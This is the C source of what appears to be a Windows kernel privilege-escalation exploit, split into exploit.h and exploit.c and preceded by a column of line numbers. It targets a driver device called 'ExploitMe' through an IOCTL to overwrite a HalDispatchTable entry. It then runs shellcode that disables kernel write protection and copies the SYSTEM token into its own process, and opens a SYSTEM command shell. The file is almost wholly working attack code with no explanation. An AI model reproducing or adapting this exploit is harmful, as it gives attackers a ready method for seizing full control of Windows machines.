1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646
| ***************************** exploit.h ***************************
#ifndef _EXPLOIT_H #define _EXPLOIT_H
#include <stdio.h> #include <stdlib.h> #include <windows.h>
#define IMP_VOID __declspec(dllimport) VOID __stdcall #define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
#define PAGE_SIZE 0xA00
#define OBJ_CASE_INSENSITIVE 0x00000040 #define FILE_OPEN_IF 0x00000003
#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)
#define KERNEL_NAME_LENGTH 0x0D
#define STATUS_SUCCESS 0x00000000 #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef ULONG NTSTATUS;
typedef struct _ANSI_STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } ANSI_STRING, *PANSI_STRING, **PPANSI_STRING;
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PSECURITY_DESCRIPTOR SecurityDescriptor; PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; };
ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK, **PPIO_STATUS_BLOCK;
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation } SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; UCHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION, **PPSYSTEM_MODULE_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION_EX { ULONG ModulesCount; SYSTEM_MODULE_INFORMATION Modules[0]; } SYSTEM_MODULE_INFORMATION_EX, *PSYSTEM_MODULE_INFORMATION_EX, **PPSYSTEM_MODULE_INFORMATION_EX;
typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE;
typedef VOID (NTAPI *PIO_APC_ROUTINE) ( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved );
IMP_VOID RtlInitAnsiString ( IN OUT PANSI_STRING DestinationString, IN PUCHAR SourceString );
IMP_VOID RtlInitUnicodeString ( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
IMP_VOID RtlCreateUnicodeStringFromAsciiz ( OUT PUNICODE_STRING DestinationString, IN PUCHAR SourceString );
IMP_VOID RtlFreeUnicodeString ( IN PUNICODE_STRING UnicodeString );
IMP_VOID RtlFreeAnsiString ( IN PANSI_STRING AnsiString );
IMP_SYSCALL LdrLoadDll ( IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle );
IMP_SYSCALL LdrUnloadDll ( IN PVOID DllHandle );
IMP_SYSCALL LdrGetProcedureAddress ( IN PVOID DllHandle, IN PANSI_STRING ProcedureName OPTIONAL, IN ULONG ProcedureNumber OPTIONAL, OUT PVOID *ProcedureAddress );
IMP_SYSCALL NtAllocateVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect );
IMP_SYSCALL NtFreeVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG FreeSize, IN ULONG FreeType );
IMP_SYSCALL NtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
IMP_SYSCALL NtCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength );
IMP_SYSCALL NtDeviceIoControlFile ( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength );
IMP_SYSCALL NtDelayExecution ( IN BOOLEAN Alertable, IN PLARGE_INTEGER Interval );
IMP_SYSCALL NtQueryIntervalProfile ( IN KPROFILE_SOURCE Source, OUT PULONG Interval );
IMP_SYSCALL NtClose ( IN HANDLE Handle );
#endif
******************************** END *************************************
******************************** exploit.c *******************************
#include "exploit.h"
#define IOCTL_CODE 0x8888A003
PVOID RtlAllocateMemory( IN ULONG Length) { NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory( NtCurrentProcess(), &BaseAddress, 0, &Length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS) { RtlZeroMemory(BaseAddress, Length); return BaseAddress; }
return NULL; }
VOID RtlFreeMemory( IN PVOID BaseAddress) { NTSTATUS NtStatus;
ULONG FreeSize = 0;
NtStatus = NtFreeVirtualMemory( NtCurrentProcess(), &BaseAddress, &FreeSize, MEM_RELEASE); }
char g_ressdtOutputBuffer[4]={0};
DWORD g_uCr0=0;
NTSTATUS MyShellCode( ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength) { __asm { cli mov eax, cr0 mov g_uCr0,eax and eax,0xFFFEFFFF mov cr0, eax } __asm { mov eax,0xFFDFF124 mov eax,[eax] mov esi,[eax+0x220] mov eax,esi searchXp: mov eax,[eax+0x88] sub eax,0x88 mov edx,[eax+0x84] cmp edx,0x4 jne searchXp mov eax,[eax+0xc8] mov [esi+0xc8],eax } _asm { sti mov eax, g_uCr0 mov cr0, eax } return 0; }
void ShowAlertMsg() { LPVOID lpMsgBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); printf("%s",lpMsgBuf); LocalFree(lpMsgBuf); }
int __cdecl main(int argc, char **argv) { NTSTATUS NtStatus;
HANDLE DeviceHandle; ULONG ReturnLength = 0; char g_InputBuffer[4] ="\x00\x00\x00\x00"; ULONG ImageBase; PVOID MappedBase; UCHAR ImageName[KERNEL_NAME_LENGTH]; ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; PVOID HalDispatchTable; PVOID xHalQuerySystemInformation; PVOID MmUserProbeAddress;
ULONG ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress; PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName; UNICODE_STRING DllName; ANSI_STRING ProcedureName; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL; LARGE_INTEGER Interval;
ULONG TextColor;
system("cls");
NtStatus = NtQuerySystemInformation( SystemModuleInformation, ModuleInformation, ReturnLength, &ReturnLength); if(NtStatus == STATUS_INFO_LENGTH_MISMATCH) { ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); ModuleInformation = RtlAllocateMemory(ReturnLength);
if(ModuleInformation) { NtStatus = NtQuerySystemInformation( SystemModuleInformation, ModuleInformation, ReturnLength, NULL);
if(NtStatus == STATUS_SUCCESS) { ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
RtlMoveMemory( ImageName, (PVOID)(ModuleInformation->Modules[0].ImageName + ModuleInformation->Modules[0].ModuleNameOffset), KERNEL_NAME_LENGTH);
printf(" **************************************************************************\n" " * ImageBase - 0x%.8X \n" " * ImageName - %s \n", ImageBase, ImageName);
RtlFreeMemory(ModuleInformation);
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
NtStatus = LdrLoadDll( NULL, &DllCharacteristics, &DllName, &MappedBase); printf( " * \n" " * LdrLoadDLL:"); ShowAlertMsg();
RtlInitAnsiString(&ProcedureName, "HalDispatchTable");
NtStatus = LdrGetProcedureAddress( (PVOID)MappedBase, &ProcedureName, 0, (PVOID*)&HalDispatchTable); printf(" * LdrGetProcedureAddress:"); ShowAlertMsg();
(ULONG)HalDispatchTable -= (ULONG)MappedBase; (ULONG)HalDispatchTable += ImageBase;
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);
printf(" * \n" " * HalDispatchTable - 0x%.8X \n" " * xHalQuerySystemInformation - 0x%.8X \n", HalDispatchTable, xHalQuerySystemInformation);
LdrUnloadDll((PVOID)MappedBase);
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName = &DeviceName; ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = NULL; NtStatus = NtCreateFile( &DeviceHandle, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, 0, NULL, 0); printf( " * \n" " * NtCreateFile:"); ShowAlertMsg();
*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;
NtStatus = NtDeviceIoControlFile( DeviceHandle, NULL, NULL, NULL, &IoStatusBlock, IOCTL_CODE, g_InputBuffer, 4, g_ressdtOutputBuffer, 4); printf(" * NtDeviceIoControlFile:"); ShowAlertMsg();
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory( NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); printf(" * NtAllocateVirtualMemory:"); ShowAlertMsg();
RtlCopyMemory( ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
printf(" * RtlMoveMemory:"); ShowAlertMsg();
NtStatus = NtQueryIntervalProfile( ProfileTotalIssues, NULL); printf(" * NtQueryIntervalProfile:"); ShowAlertMsg(); NtStatus = NtClose(DeviceHandle);
printf(" * NtClose:"); ShowAlertMsg(); printf(" **************************************************************************\n");
WinExec("cmd.exe" , SW_SHOW); printf(" * Exploit Successful!\n\n");
getchar();
} } } return FALSE; }
********************************** END ********************************************
|